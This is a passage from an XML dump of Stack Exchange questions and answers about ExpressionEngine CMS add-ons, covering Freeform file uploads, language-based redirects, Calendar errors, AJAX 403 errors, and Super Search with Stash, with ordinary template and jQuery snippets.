LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-16T15:10:23.903" Title="Custom no results page not showing, shows default page" Tags="|search|simple-search|no-results|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21220" PostTypeId="1" AcceptedAnswerId="21222" CreationDate="2014-04-15T16:06:22.350" Score="1" ViewCount="39" Body="&lt;p&gt;I tried to find from Solspace docs, how to close a form that is used as survey for my site users. Didnt find any info according to that. So how I can close the form without losing the data stored?&#xA;Is the only way to comment out the form from template and write a notice in place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2014-04-15T17:07:50.920" Title="Closing up Solspace Freeform form?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21221" PostTypeId="1" AcceptedAnswerId="21223" CreationDate="2014-04-15T17:06:50.867" Score="0" ViewCount="570" Body="&lt;p&gt;I'm using the Browser Sniff plugin to detect for the browser language on a multilangiage site using Transcribe plugin. It's working for detecting the browser language. I want to redirect users with their browser set to Chinese(zh) to the same url with &quot;zh&quot; as segment_1. So the site currently will display English at www.site.com/page and chinese at www.site.com/zh/page. Now I want to redirect users with their browser set to Chinese from www.site.com/page to www.site.com/zh/page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this, but it results in a redirect loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:browser_sniff available_languages=&quot;en|zh&quot;}&#xA;{if browser_sniff_negotiated_language == &quot;zh&quot;}&#xA;     {redirect=&quot;zh/{uri_string}&quot;}&#xA;{/if}&#xA;{/exp:browser_sniff}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2014-04-16T18:05:29.693" Title="URL redirect on browser language detection" Tags="|redirects|multi-language|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21222" PostTypeId="2" ParentId="21220" CreationDate="2014-04-15T17:07:50.920" Score="2" Body="&lt;p&gt;It depends on how you are placing the form into the page.  Are you simply inserting it into the template? Is it inserted along with an entry?  The logic of how the form gets &quot;closed&quot; is likely something you would want to handle with native EE logic/functionality rather than something specific to Freeform.  Perhaps expiring the entry that makes up the page within which the form is inserted, or changing the text of that page and removing the form on the basis of a date having passed - something like that - since forms themselves, I don't believe, have any such functionality.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-04-15T17:07:50.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21223" PostTypeId="2" ParentId="21221" CreationDate="2014-04-15T20:53:10.067" Score="2" Body="&lt;p&gt;The loop occurs because you're testing again and again and again...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:browser_sniff available_languages=&quot;en|zh&quot;}&#xA;    {if browser_sniff_negotiated_language == &quot;zh&quot;}&#xA;         {if browser_sniff_negotiated_language != &quot;{segment_1}&quot;}&#xA;             {redirect=&quot;zh/{uri_string}&quot;}&#xA;         {/if}&#xA;    {/if}&#xA;{/exp:browser_sniff}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since Transcribe doesn't count the language for your &lt;code&gt;segment_1&lt;/code&gt;, use &lt;code&gt;{exp:transcribe:language_abbreviation}&lt;/code&gt;. If you're already &lt;a href=&quot;http://blog.ericlamb.net/2011/05/expressionengine-and-the-mystery-of-m00o93h7pq09l8x1t49chy01z5j4tt91fgfr/&quot; rel=&quot;nofollow&quot;&gt;using this same variable on your template and having parsing issues&lt;/a&gt;, add a different parameter to one of them or use the &lt;a href=&quot;http://www.emarketsouth.com/add-ons/string-plugin/template-tags/#random-parameter&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;random&lt;/code&gt; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:browser_sniff available_languages=&quot;en|zh&quot;}&#xA;    {if browser_sniff_negotiated_language == &quot;zh&quot;}&#xA;         {if browser_sniff_negotiated_language != &quot;{exp:transcribe:language_abbreviation random}&quot;}&#xA;             {redirect=&quot;zh/{uri_string}&quot;}&#xA;         {/if}&#xA;    {/if}&#xA;{/exp:browser_sniff}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EECMS template parser replaces all instances of a same variable by a placeholder text to prevent evaluate them more than once. Sometimes, it happens the instances are in different scopes and not all of them are parsed back. So, use the &lt;code&gt;random&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-04-16T18:05:29.693" LastActivityDate="2014-04-16T18:05:29.693" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21225" PostTypeId="2" ParentId="21196" CreationDate="2014-04-15T22:30:09.653" Score="2" Body="&lt;p&gt;Field Pack gives you the option to specify a name and value pair, so in your field you could set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[value] : [name]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which might equate to say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 : Yes&#xA;0 : No&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would then display in your pill field as a Yes/No button, but allow you to use the value instead of the name in your template logic. eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if pill_field == '1'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code you've commented out looks like its doing some checking on your field values, and &lt;em&gt;I think&lt;/em&gt; its saying if the name and label are not identical, return the data in the format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name : $label&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, commenting this line out probably will have an impact on how the field works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use the field pack a lot but haven't come across this. I'd say its less likely to be an issue in the ft.fieldpack_pill.php file though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have you set as the default values in the field?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-15T22:30:09.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21226" PostTypeId="2" ParentId="21165" CreationDate="2014-04-15T22:46:26.553" Score="0" Body="&lt;p&gt;The Cart Throb discount tags will only be parsed if a customer has actually applied a discount that has been accepted which you've obviously figure already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the only way you can tell someone about a discount before they add the item to their basket is by having a field in your products channel where you could add &lt;em&gt;discount details&lt;/em&gt;. This would work independently of your discounts channel so you wouldn't be able to link this to the expiry date of the discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you could add 2 fields to your products channel; one for the discount detail, and a date field for the expiry, that might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_time &amp;lt; discount_expiry_date}&#xA;{discounts_available}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the discount expiry date has passed, the {discounts_available} content would be hidden.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-15T22:46:26.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21227" PostTypeId="1" CreationDate="2014-04-16T01:37:51.887" Score="1" ViewCount="698" Body="&lt;p&gt;I had the following form working until I added file upload:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Submission Form&amp;lt;/h3&amp;gt;&#xA;&#xA;{exp:freeform:form&#xA;    collection=&quot;remnants&quot;&#xA;    required=&quot;name|article_title|article_tagline|article&quot;&#xA;    return=&quot;submit/submitted&quot;&#xA;    file_upload=&quot;blog_user&quot;&#xA;}&#xA;&#xA;&amp;lt;p&amp;gt;Name: &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Email: &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Article Title: &amp;lt;input type=&quot;text&quot; name=&quot;article_title&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Article Tagline: &amp;lt;input type=&quot;text&quot; name=&quot;article_tagline&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Article:&amp;lt;br /&amp;gt;&amp;lt;textarea name=&quot;article&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Attach a File: &amp;lt;input type=&quot;file&quot; name=&quot;article_image&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I keep getting the following error:&#xA;Article Image: The upload path does not appear to be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've allowed for up to 10 images but only one input is showing. I'm wondering if I didn't probably create the input field?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-06-15T16:30:17.813" Title="Multiple File Uploads on Freeform not working" Tags="|solspace-freeform|solspace|forms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21228" PostTypeId="1" CreationDate="2014-04-16T09:47:25.100" Score="1" ViewCount="318" Body="&lt;p&gt;Upgraded our EE install to 2.8.1, installed Matrix plugin and also upgraded an older version from Wygwam to the latest version, but Wygwam isn't showing in the Matrix publish field. Any ideas or thoughts where to look?&lt;/p&gt;&#xA;" OwnerUserId="2975" LastEditorUserId="69" LastEditDate="2014-04-24T08:13:13.190" LastActivityDate="2014-06-10T20:16:58.777" Title="Wygwam not showing or loading in Channel Entry" Tags="|matrix|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21229" PostTypeId="1" CreationDate="2014-04-16T10:02:59.280" Score="0" ViewCount="192" Body="&lt;p&gt;I'm using solspace calendar, but its gives Fatal Error &quot;Call to undefined method Pagination_object::get_template() in /content/system/expressionengine/third_party/calendar/mod.calendar.php on line 5363&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;line number 5363 script given below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;ee_version &amp;gt;= '2.4.0')&#xA;{&#xA;    $channel-&amp;gt;pagination-&amp;gt;get_template();&#xA;}&#xA;else&#xA;{&#xA;    $channel-&amp;gt;fetch_pagination_data();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI:&#xA;EE: 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Calendar: 1.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-05-16T14:58:12.277" Title="solsplace calendar gives error &quot;Fatal error: Call to undefined method Pagination_object::get_template()&quot;" Tags="|error|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21230" PostTypeId="1" CreationDate="2014-04-16T11:16:18.253" Score="0" ViewCount="158" Body="&lt;p&gt;On an EE 2.7.3 we are seeing a strange behaviour on the live server where we get a 404 when trying to access the file manager from Content &gt; Files &gt; File Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have the admin.php file renamed so the URL is this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/cms.php?S=0&amp;amp;D=cp&amp;amp;C=content_files&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When we hit that URL, we get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oY2XJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've no idea why as it's fine on the test and development environments and we've never seen this kind of error before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also get this on other URLS such as Channel Admin:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cms.php?S=0&amp;amp;D=cp&amp;amp;C=admin_content&amp;amp;M=channel_management&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2014-04-16T11:38:59.870" LastActivityDate="2014-04-16T11:38:59.870" Title="404 thrown when trying to access file manager" Tags="|control-panel|file-uploads|file-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21231" PostTypeId="1" AcceptedAnswerId="21239" CreationDate="2014-04-16T11:26:45.793" Score="1" ViewCount="271" Body="&lt;p&gt;I have a requirement in one of my EE site wherein I need to insert some data in tables and make some channel entries using EE channel API,I am able to do this within a EE template using database class or channel API..like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert(&quot;INSERT QUERY&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I have to do the same thing from a Php file which is located at root (same level of index.php file). Can anyone please help me out here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know what files to be included and what classes to be initiated or anything to be able to use EE object ($this-&gt;EE) within in a php file (located at root).&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="422" LastEditDate="2014-04-16T17:15:21.583" LastActivityDate="2014-04-16T17:15:21.583" Title="How to use EE classes like DB,channel API from a php file" Tags="|php|database|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21232" PostTypeId="1" CreationDate="2014-04-16T12:48:11.890" Score="1" ViewCount="1625" Body="&lt;p&gt;ExpressionEngine 2.8.1 always gives 403 Forbidden error when using ajax. Every ajax call given &quot;This form has expired. Please refresh and try again.&quot; response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to pass hidden XID&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and made secure form's value 'n' in config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have solution, how can i fix it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-04-23T18:19:39.260" Title="ExpressionEngine 2.8.1 always gives 403 Forbidden error when using ajax" Tags="|error|ajax|xid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21234" PostTypeId="2" ParentId="21227" CreationDate="2014-04-16T14:04:52.753" Score="1" Body="&lt;p&gt;First, try changing &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;article_image&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;article_image[]&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the brackets: &lt;code&gt;[]&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;code&gt;{freeform:field:article_image}&lt;/code&gt;, which will generate the file field for you. You can then add the &lt;code&gt;show=&quot;10&quot;&lt;/code&gt; parameter to display 10 file upload fields. This is described in the documentation for the File Upload Field: &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#fileupload_show&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#fileupload_show&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Instead of using &lt;code&gt;show=&quot;10&quot;&lt;/code&gt;, you can set the number of file fields from the CP in the Freeform module, when editing the file upload field settings. Look under &lt;strong&gt;Allowed upload count&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-16T14:04:52.753" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21235" PostTypeId="2" ParentId="21229" CreationDate="2014-04-16T14:06:45.720" Score="1" Body="&lt;p&gt;Please upgrade to Calendar 1.8.6. It's the recently released version that is compatible with EE 2.8.x.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Changelog&lt;/strong&gt;: &lt;a href=&quot;http://www.solspace.com/docs/calendar/change_log/#v1.8.6&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/change_log/#v1.8.6&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Software Compatibility Table&lt;/strong&gt;: &lt;a href=&quot;http://www.solspace.com/software/compatibility&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/compatibility&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-16T14:06:45.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21236" PostTypeId="2" ParentId="21188" CreationDate="2014-04-16T14:34:45.910" Score="1" Body="&lt;p&gt;One method is to check which checkboxes are checked, build a URL containing multiple tags which is recognized by Tag (see the &lt;a href=&quot;http://www.solspace.com/docs/tag/entries/#tag&quot; rel=&quot;nofollow&quot;&gt;Tag documentation about multiple tags in the URL when using &lt;code&gt;{exp:tag:entries}&lt;/code&gt;&lt;/a&gt;), and redirect to this URL. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you have these three example tag checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;tag[]&quot; value=&quot;foo&quot;&amp;gt; Foo&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;tag[]&quot; value=&quot;bar&quot;&amp;gt; Bar&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;tag[]&quot; value=&quot;baz&quot;&amp;gt; Baz&amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following script will check if you checked the checkbox you just clicked, and if you did, build a string of tags to use when redirecting to the new URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function (){&#xA;&#xA;    $(&quot;input[name='tag[]'&quot;).click(function(e) {&#xA;        if($(this).is(&quot;:checked&quot;))&#xA;        {&#xA;            tagUrlString = ''; &#xA;&#xA;            $(&quot;input[name='tag[]'&quot;).each( function (index) {&#xA;                console.log($(this));&#xA;                if($(this).is(&quot;:checked&quot;))&#xA;                {&#xA;                    tagUrlString = tagUrlString + $(this).val() + ',';&#xA;                }&#xA;            });&#xA;&#xA;            window.location.href = 'http://mysite.com/template-group/template/tag/' + tagUrlString;&#xA;        }&#xA;    })&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you could remove the outer &lt;code&gt;if($(this).is(&quot;:checked&quot;))&lt;/code&gt; conditional so that the above redirection is triggered even when unchecking a checkbox (i.e. simply by clicking a checkbox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps moving you ahead. (Note: the above code was minimally tested. Tweak for your needs).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-16T14:34:45.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21237" PostTypeId="2" ParentId="21219" CreationDate="2014-04-16T15:10:23.903" Score="1" Body="&lt;p&gt;My No Results Page had this code, which is incorrect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;&#xA;    &amp;lt;p&amp;gt;We have been unable to find any results for '{exp:search:keywords}'&amp;lt;/p&amp;gt; &#xA;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found the answer I was looking for here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/242817/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/242817/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sorry, there are no results for '{exp:search:keywords} {exp:search:keywords} {/exp:search:keywords}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixed the error. All that is left to do is clean up my template.&lt;/p&gt;&#xA;" OwnerUserId="2973" LastActivityDate="2014-04-16T15:10:23.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21238" PostTypeId="1" CreationDate="2014-04-16T15:34:04.613" Score="2" ViewCount="64" Body="&lt;p&gt;Im experimenting with Moblog as would really like to get this to publish short read entries into my site. Ive got it working to some extent, its publishing to channel entries and I could display those with templates if I wish. But, every time I check for new emails, I get all the emails again, and they create new (repeat) entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening and how I can stop it?&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-04-16T15:34:04.613" Title="Moblog POP3 problems" Tags="|module|email|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21239" PostTypeId="2" ParentId="21231" CreationDate="2014-04-16T16:52:37.060" Score="1" Body="&lt;p&gt;Check out Rob Sanchez' EE Bootstrap: &lt;a href=&quot;https://github.com/rsanchez/ExpressionEngine-Bootstrap&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/ExpressionEngine-Bootstrap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does just what you're looking for. I've used it myself for some projects where I didn't want to put code inside an EE add-on.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-16T16:52:37.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21240" PostTypeId="1" CreationDate="2014-04-16T17:08:40.070" Score="0" ViewCount="107" Body="&lt;p&gt;I am going to try my best to explain what I am trying to accomplish so I will be breaking this up into various parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHAT I AM TRYING TO ACCOMPLISH:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a filtered list of search results into various lists. For example I want my filtered results to end up in SECTION A, SECTION B, SECTION C and so on. I will probably have 5 sections once all said and done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within each section I only want 3 articles to appear. I will then have a view more button to take the user to see a larger selection of entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOW I AM SEARCHING MY CONTENT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have used Solspace's Tag module and tagged my articles as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then have a Super Search form searching my tags using checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on my search result page I am using Stash to help me organize my entries into SECTION A, SECTION B and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working as expected!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WHAT I AM HAVING ISSUES WITH:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main issue at this point in time is limiting my search results per SECTION A, SECTION B and so on. I can limit my results per Super Search but that limit effects all sections meaning that I can only have 3 entries displaying across all SECTIONS combined. What I need is a total of 3 entries to be shown in each SECTION. I hope this makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my sample code for my checkbox in the search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;label&amp;gt; &amp;amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;our_tags[]&amp;quot; value=&amp;quot;reg-link&amp;quot; {if super_search_our_tags_reg-link}checked=&amp;quot;checked&amp;quot;{/if}&amp;amp;gt; Regional/Community Links &amp;lt;/label&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my search results page I have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:stash:set name=&amp;quot;service-results&amp;quot; parse_tags=&amp;quot;yes&amp;quot;}&#xA;    {exp:super_search:results channel=&amp;quot;test&amp;quot; search_in=&amp;quot;priority_tags|our_tags&amp;quot; orderby=&amp;quot;test+desc+priority_tags+desc&amp;quot; search=&amp;quot;limit=3&amp;quot;} &#xA;        {exp:tag:tags entry_id=&amp;quot;{entry_id}&amp;quot;} &#xA;            {if {tag_id} == &amp;quot;21&amp;quot;} &#xA;                &amp;lt;div style=&amp;quot;background-color:#efefef&amp;quot;&amp;gt; &#xA;                &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt; &#xA;                &amp;lt;p&amp;gt;Our Tags - {our_tags}&amp;lt;/p&amp;gt; &#xA;                &amp;lt;p&amp;gt;Priority Tags - {priority_tags}&amp;lt;/p&amp;gt; &#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;{path='articles/by_tag'}/tag/{websafe_tag}&amp;quot;&amp;gt;{tag}&amp;lt;/a&amp;gt;, &amp;lt;/p&amp;gt; &#xA;                &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{search_excerpt}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;     &amp;lt;/div&amp;gt; &#xA;           {/if} &#xA;       {/exp:tag:tags} &#xA;    {/exp:super_search:results} &#xA;{/exp:stash:set}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I display my Stash output like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:stash:get name=&amp;quot;service-results&amp;quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also attached a screen shot of my checkboxes and of the search result area. I hope these help explain a little more what I am trying to accomplish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or help is greatly appreciated! &#xA;If I need to provide additional information please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/51Pu2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJj3W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1377" LastEditorUserId="1377" LastEditDate="2014-04-16T17:16:54.070" LastActivityDate="2014-07-28T20:57:09.133" Title="Super Search and Stash and limiting results" Tags="|stash|supersearch|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21241" PostTypeId="2" ParentId="21177" CreationDate="2014-04-16T17:45:38.997" Score="0" Body="&lt;p&gt;I managed to achieve it using embeds. It's not ideal, but it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot;}&#xA;     {embed=&quot;menu/_menu_entry&quot; catID=&quot;{category_id}&quot; catURL=&quot;{category_url_title}&quot; catNAME=&quot;{category_name}&quot; catDESC=&quot;{category_description}&quot;}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the embedded template searches the related entries by category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;menus&quot; limit=&quot;1&quot;}&#xA;     {menu_items category=&quot;{embed:catID}&quot;}&#xA;          {if menu_items:count == 1}&#xA;        &amp;lt;div class=&quot;category-heading&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{embed:catNAME}&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;item-note&quot;&amp;gt;&amp;lt;p&amp;gt;{embed:catDESC}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then the items follow. The loop repeats for each category in the group, resulting in the desired format. It has the added advantage of being fully dynamic, so if the client adds, edits, or deletes categories, it still works.&lt;/p&gt;&#xA;" OwnerUserId="897" 